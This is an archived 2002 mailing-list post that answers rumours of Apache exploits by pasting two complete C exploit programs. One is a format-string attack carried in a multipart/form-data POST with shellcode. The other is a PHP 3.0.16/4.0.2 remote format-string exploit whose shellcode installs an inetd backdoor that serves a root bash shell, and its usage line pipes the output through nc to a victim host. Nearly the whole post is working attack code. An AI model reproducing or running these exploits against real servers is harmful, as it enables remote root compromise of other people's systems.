RE: Rumours about Apache 1.3.22 exploits

From: Mike Tone (simpletoneat_private)
Date: Thu Mar 07 2002 - 17:03:58 PST

  • Next message: H D Moore: "Re: SSH2 Exploit?"

    here are 2.
    
    -------snip----apache.c--
    #include<sys/types.h>
    #include<sys/socket.h>
    #include<netinet/in.h>
    #include<arpa/inet.h>
    #include<netdb.h>
    
    #define BSIZE 1549
    #define BUFFERZONE 128
    
    int main(int argc, char *argv[])
    {
      int i,start,count;
      int stackloc=0xBFFFDA60;
      int s;
      FILE *f;
      fd_set rfds;
      struct hostent *he;
      struct sockaddr_in saddr;
      char sploit[BSIZE];
      char file[]="/tmp/BADPHP";
      char c;
    
      if(argc!=5) {
        printf("%s <addr> <port> <offset> <php file name>\n",argv[0]);
        printf("offset=0 for most systems.\n");
        return 0;
      }
    
      /*** build exploit string ***/
    
      /* write bad format string, adding in offset */
      snprintf(sploit,sizeof(sploit),
    	   "Content-Type:multipart/form-data %%%uX%%X%%X%%hn",
    	   55817 /*+offset0,1,2,3*/ );
    
      /* fill with breakpoints and nops*/
      start=strlen(sploit);
      memset(sploit+start,0xCC,BSIZE-start);
      memset(sploit+start+BUFFERZONE*4,0x90,BUFFERZONE*4);
      sploit[BSIZE-1]=0;
    
      /* pointer to start of code (stackloc+4) */
      count=BUFFERZONE;
      for(i=0;i<count;i++) {
        unsigned int value=stackloc+4+(count*4);
        if((value&0x000000FF)==0) value|=0x00000004;
        if((value&0x0000FF00)==0) value|=0x00000400;
        if((value&0x00FF0000)==0) value|=0x00040000;
        if((value&0xFF000000)==0) value|=0x04000000;
        *(unsigned int *)&(sploit[start+i*4])=value;
      }
      start+=BUFFERZONE*4*2;
    
      /*** build shellcode ***/
    
      sploit[start+0]=0x90; /* nop */
    
      sploit[start+1]=0xBA; /* mov edx, (not 0x1B6 (a+rw)) */
      sploit[start+2]=0x49;
      sploit[start+3]=0xFE;
      sploit[start+4]=0xFF;
      sploit[start+5]=0xFF;
    
      sploit[start+6]=0xF7; /* not edx */
      sploit[start+7]=0xD2;
    
      sploit[start+8]=0xB9; /* mov ecx, (not 0x40 (O_CREAT)) */
      sploit[start+9]=0xBF;
      sploit[start+10]=0xFF;
      sploit[start+11]=0xFF;
      sploit[start+12]=0xFF;
    
      sploit[start+13]=0xF7; /* not ecx */
      sploit[start+14]=0xD1;
    
      sploit[start+15]=0xE8; /* call eip+4 + inc eax (overlapping) */
      sploit[start+16]=0xFF; 
      sploit[start+17]=0xFF;
      sploit[start+18]=0xFF; 
      sploit[start+19]=0xFF;
      sploit[start+20]=0xC0;
      sploit[start+21]=0x5B; /* pop ebx */
      sploit[start+22]=0x6A; /* push 22 (offset to end of sploit (filename)) */
      sploit[start+23]=0x16;
      sploit[start+24]=0x58; /* pop eax */
      sploit[start+25]=0x03; /* add ebx,eax */
      sploit[start+26]=0xD8;
    
      sploit[start+27]=0x33; /* xor eax,eax */
      sploit[start+28]=0xC0;
    
      sploit[start+29]=0x88; /* mov byte ptr [ebx+11],al */
      sploit[start+30]=0x43;
      sploit[start+31]=0x0B;
     
      sploit[start+32]=0x83; /* add eax,5 */
      sploit[start+33]=0xC0;
      sploit[start+34]=0x05;
    
      sploit[start+35]=0xCD; /* int 80 (open) */
      sploit[start+36]=0x80;
    
      sploit[start+37]=0x33; /* xor eax,eax */
      sploit[start+38]=0xC0;
     
      sploit[start+39]=0x40; /* inc eax */
      
      sploit[start+40]=0xCD; /* int 80 (_exit) */
      sploit[start+41]=0x80;
    
      /* add filename to touch */
      strncpy(&sploit[start+42],file,strlen(file));
    
      /*** send exploit string ***/
     
      /* create socket */
      s=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
      if(s<0) {
        printf("couldn't create socket.\n");
        return 0;
      } 
    
      /* connect to port */
      memset(&saddr,0,sizeof(saddr));
      saddr.sin_family=AF_INET;
      saddr.sin_port=htons(atoi(argv[2]));
      he=gethostbyname(argv[1]);
      if(he==NULL) {
        printf("invalid hostname.\n");
      }
      memcpy(&(saddr.sin_addr.s_addr),he->h_addr_list[0],sizeof(struct
    in_addr));
    
      if(connect(s,(struct sockaddr *)&saddr,sizeof(saddr))!=0) {
        printf("couldn't connect.\n");
        return 0;
      }
    
      /* fdopen the socket to use stream functions */
      f=fdopen(s,"w");
      if(f==NULL) {
        close(s);
        printf("couldn't fdopen socket.\n");
        return 0;
      }
    
      /* put the post request to the socket */
      fprintf(f,"POST %s HTTP/1.0\n",argv[4]);
      fputs(sploit,f);
      fputc('\n',f);
      fputc('\n',f);
      fflush(f);
    
      /* close the socket */
      fclose(f);
      close(s);
    
      return 0;
    }
    ---------------------------snap----------apache.c--
    
    ------snip---php_3_0_16-4_0_2.c------------------
    
    /*
     * PHP 3.0.16/4.0.2 remote format overflow exploit.
     * Copyright (c) 2000
     * Field Marshal Count August Anton Wilhelm Neithardt von Gneisenau
     * gneisenauat_private
     * my regards to sheib and darkx
     * All rights reserved
     * Pascal Boucheraine's paper was enlightening
     * THERE IS NO IMPLIED OR EXPRESS WARRANTY FOR THIS CODE.
     * YOU ARE RESPONSIBLE FOR YOUR OWN ACTIONS AND I CANNOT BE HELD RESPONSIBLE
     * FOR THE CONSEQUENCES
     * Usage:
     * phpxpl -sx -uwww.victim.com/some.php3 | nc www.victim.com 80
     */
    
    
    /*
     * We just printf the shellcode and stuff and nc it to the target
     */
    #include <sys/types.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    // this exploit does not like 0x0a = '\n' in the shellcode. also the NULL at
    // the end of the shellcode will be removed as the shellcode is probably
    // strcatted into the buffer. so do it again in the shellcode.
    /*
     * This shellcode is for Linux/x86.
     * This shellcode spawns a shell and runs the command
     * echo 'ingreslock stream tcp nowait root /bin/bash bash
    -i'>/tmp/.inetd.conf; /usr/sbin/inetd /tmp/.inetd.conf
     */
    char shellcode[] = {
    0xeb,0x41,
    0x5e,
    0x31,0xc0,
    					
    0x31,0xdb,
    0xb0,0xa0,
    0x89,0x34,0x06,
    0x8d,0x4e,0x07,
    			
    0x88,0x19,
    0x41,
    0x41,
    0xb0,0xa4,
    0x89,0x0c,0x06,
    0x8d,0x4e,0x0b,
    0x88,0x19,
    0x41,
    							
    0xb0,0xa8,
    0x89,0x0c,0x06,
    0x8d,0x4e,0x7f,
    0x88,0x19,
    0x31,0xd2,
    0xb0,0xac,
    0x89,0x14,0x06,
    0x89,0xf3,
    0x89,0xf1,
    0xb0,0xa0,
    0x01,0xc1,
    0xb0,0x0b,
    0xcd,0x80,
    0x31,0xc0,
    				
    0xb0,0x01,
    0x31,0xdb,
    0xcd,0x80,
    0xe8,0xba,0xff,0xff,0xff,
    0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0xff,0xff, /* the string "/bin/sh" */
    0x2d,0x63,0xff,
    			/* the string "-c" */
    0x2f,0x62,0x69,0x6e,0x2f,0x65,0x63,0x68,0x6f,0x20,0x27,0x69,
    0x6e,0x67,0x72,0x65,0x73,0x6c,0x6f,0x63,0x6b,0x20,0x73,0x74,
    0x72,0x65,0x61,0x6d,0x20,0x74,0x63,0x70,0x20,0x6e,0x6f,0x77,
    0x61,0x69,0x74,0x20,0x72,0x6f,0x6f,0x74,0x20,0x2f,0x62,0x69,
    0x6e,0x2f,0x62,0x61,0x73,0x68,0x20,0x62,0x61,0x73,0x68,0x20,
    0x20,0x2d,0x69,0x27,0x3e,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69,
    0x6e,0x65,0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x3b,0x20,0x2f,
    0x75,0x73,0x72,0x2f,0x73,0x62,0x69,0x6e,0x2f,0x69,0x6e,0x65,
    0x74,0x64,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69,0x6e,0x65,
    0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x00,
    };
    
    #define NOP 0x90
    
    
    /*
     * the PHP3 error buffer will already contain PHP 3 Warning: The
    Content-Type
     * string was "multipart/form-data. This is 66 bytes long. we send 2 spaces
     * for padding the addresses we embed in our attack buffer on word boundary
     */
    #define PHP3_WARNING 68
    #define BUF_LEN 1024
    
    struct system_type {
    	char *name;
    	unsigned int nop;
    	char *shellcode;
    	int	shellcode_len;
    	int	offset;			/* the number of pops we need to get to our own data*/
    	int	already_written;	/* number of bytes written by printf by the time we reach the our embedded
    data */
    	unsigned int	eip_address; /* address where shellcode_address must be put */
    	unsigned int	shellcode_address; /* address of shellcode in memory */
    };
    
    struct system_type systems[] = {
    		{
    			"Slackware Linux 7.0 - i386/Apache 1.3.12/PHP 3.0.16 (static module)",
    			0x90,
    			shellcode,
    			270,	/* not exact but we got lots of space ;) */
    			27,
    			0x152,
    			0xbfff9c30,
    			0xbfff962c,
    		},
    		// somebody find these and fill it in please. should be
    		// straightforward.
    		{
    			"Red Hat 6.0 - i386/Apache 1.3.13/PHP 3.0.16 (static module)",
    			(unsigned int)NULL,
    			NULL,
    			(int)NULL,
    			(int)NULL,
    			(int)NULL,
    			(unsigned int)NULL,
    			(unsigned int)NULL,
    		},
    		{
    			NULL,
    			(unsigned int)NULL,
    			NULL,
    			(int)NULL,
    			(int)NULL,
    			(int)NULL,
    			(unsigned int)NULL,
    			(unsigned int)NULL,
    		},
    };
    
    void 	usage (void);
    void 	parse_url (char *, char *);
    void 	prepare_attack_buffer (char *, struct system_type *, char *);
    int
    calculate_precision (unsigned int, int);
    
    int
    main (int argc, char *argv[])
    {
    	char 	attack_buffer[2000];	// we construct the shellcode and stuff here
    										// the target is 1024 bytes long
    	struct system_type *sysptr;
    	char  *url; 				// i hope these things dont get bigger than this
    	char  target[2048];			// target will contain only the FQDN
    	unsigned int eip_address = 0, shellcode_address = 0;
    	int	ctr = 0;
    	int	nop_count;
    	char  *walk;
    	int	arg;
    
    	// at least expect a system type and url from the command line
    	if (argc < 3)
    		usage ();
    
    	// parse arguments
    	while ((arg = getopt (argc, argv, "s:u:e:h:")) != -1){
    		switch (arg){
    			case 'h':
    						sscanf (optarg, "%x", &shellcode_address);
    						break;
    			case 'e':
    						sscanf (optarg, "%x", &eip_address);
    						break;
    			case 's':	
    						sysptr = &systems[atoi (optarg)];
    						break;
    			case 'u':
    						url = optarg;
    						parse_url (url, target);
    						break;
    			case '?':
    			default :	
    						usage ();
    		}
    	}
    
    	if (eip_address)
    		sysptr->eip_address = eip_address;
    	if (shellcode_address)
    		sysptr->shellcode_address = shellcode_address;
    	prepare_attack_buffer (attack_buffer, sysptr, url);
    
    	// as of now write it out to stdout. later write it to a socket
    	write (STDOUT_FILENO, attack_buffer, sizeof (attack_buffer));
    }
    
    void
    prepare_attack_buffer (char *attack_buffer, struct system_type *system, 
    								char *url)
    {
    	int	dest_buffer_written;		/* we keep track of how much bytes will be written in the destination buffer */
    	int 	ctr;
    	char	*address;
    	char	buf[25];						// temp buffer for %xd%n%xd%n%xd%n%xd%n
    											// where x is precision
    	int 	p1,p2,p3,p4;
    	int	nop_count;
    
    	bzero (attack_buffer, 2000);
    	sprintf (attack_buffer, "POST http://%s HTTP/1.0\nConnection:
    close\nUser-Agent: tirpitz\nContent-Type: multipart/form-data   ", url);
    	// mark strlen here. whatever we write after here appears in the buffer
    	dest_buffer_written = strlen (attack_buffer);
    
    	strcat (attack_buffer, "\x11\x11\x11\x11");
    	address = (char *)&system->eip_address;
    	strncat (attack_buffer, address, 4);
    	strcat (attack_buffer, "\x11\x11\x11\x11");
    	system->eip_address++;
    	address = (char *)&system->eip_address;
    	strncat (attack_buffer, address, 4);
    	strcat (attack_buffer, "\x11\x11\x11\x11");
    	system->eip_address++;
    	address = (char *)&system->eip_address;
    	strncat (attack_buffer, address, 4);
    	strcat (attack_buffer, "\x11\x11\x11\x11");
    	system->eip_address++;
    	address = (char *)&system->eip_address;
    	strncat (attack_buffer, address, 4);
    
    	/*
    	 * we need to add %x corresponding to the number of pops we need to reach
    	 * our embedded addresses we defined above
    	 */
    	for (; system->offset; system->offset--)
    		strcat (attack_buffer, "%x ");
    
    	p1 = calculate_precision ((system->shellcode_address & 0x000000ff),
    system->already_written);
    	p2 = calculate_precision ((system->shellcode_address & 0x0000ff00) >> 8,
    system->already_written);
    	p3 = calculate_precision ((system->shellcode_address & 0x00ff0000) >> 16,
    system->already_written);
    	p4 = calculate_precision ((system->shellcode_address & 0xff000000) >> 24,
    system->already_written);
    	sprintf (buf, "%%%dd%%n%%%dd%%n%%%dd%%n%%%dd%%n", p1, p2, p3, p4);
    	strcat (attack_buffer, buf);
    
    	ctr = strlen (attack_buffer); 
    	dest_buffer_written = ctr - dest_buffer_written;
    	dest_buffer_written += PHP3_WARNING; // dest_buffer_written now contains
    the number of bytes the PHP_WARNING and then the 8 4 byte values and
    then the %x to pop off the stack
    	attack_buffer += ctr;
    	nop_count = BUF_LEN - dest_buffer_written - system->shellcode_len;
    	memset (attack_buffer, NOP, nop_count);
    	/*
    	 * Add our shellcode at last
    	 */
    	attack_buffer += nop_count;
    	strcat (attack_buffer, shellcode);
    	strcat (attack_buffer, "\n");
    	strcat (attack_buffer, "Content-Length: 1337\n\n");
    }
    
    void
    usage (void)
    {
    	int 	ctr;
    
    	fprintf (stderr, "                                 Apache/PHP xploit\n");
    	fprintf (stderr, "        Field Marshal Count August Anton Wilhelm
    Neithardt von Gneisenau\n");
    	fprintf (stderr, "                                 for the r00tcrew\n");
    	fprintf (stderr, "                                All rights reserved\n");
    	fprintf (stderr, "\nUsage:\n");
    	fprintf (stderr, "phpxpl -u url -s systype [ -e eip address ] [ -h
    shellcode address ]\n\n");
    	fprintf (stderr, "url: the complete url including FQDN and script on the
    server\n");
    	fprintf (stderr, "      www.victim.com/info.php3\n");
    	fprintf (stderr, "available systypes:\n");
    
    	for (ctr = 0; systems[ctr].name; ctr++)
    		fprintf (stderr, "%d. %s\n", ctr, systems[ctr].name);
    	fprintf (stderr, "eip address: the address which the xploit overwrites
    with buffer address (specify thus 0xbfff9c30) \n");
    	fprintf (stderr, "shellcode address: the address which points to the NOPs
    (specify thus 0xbfff962c)\n");
    	fprintf (stderr, "\n");
    	exit (1);
    }
    
    void
    parse_url (char *url, char *target)
    {
    	char *ptr;
    
    	strcpy (target, url);
    	if (!(ptr = index (target, '/'))){
    		fprintf (stderr, "invalid url. specify the script name on the target
    server too\n");
    		exit (1);
    	}
    	*ptr = '\0';
    }
    
    /*
     * addr_byte contains the byte we need to write out. for example: 2c in
     * 0xbfff962c, then 96, ff and bf.
     */
    int
    calculate_precision (unsigned int addr_byte, int already_written_init)
    {
    	static int already_written = 0;
    	int	tmp;
    
    	if (!already_written)
    		already_written = already_written_init;
    
    	while (addr_byte < already_written)
    		addr_byte += 0x100;
    
    	tmp = addr_byte - already_written;
    	already_written = addr_byte;
    	return tmp;
    }
    
    --------------snap---------
    
    
    
    
    
    
    
    ---------------------------------------------------------------------
    Never lose a fax again, receive faxes to your personal email account!
    Visit http://www.mbox.com.au/fax
    



    This archive was generated by hypermail 2b30 : Fri Mar 08 2002 - 06:09:49 PST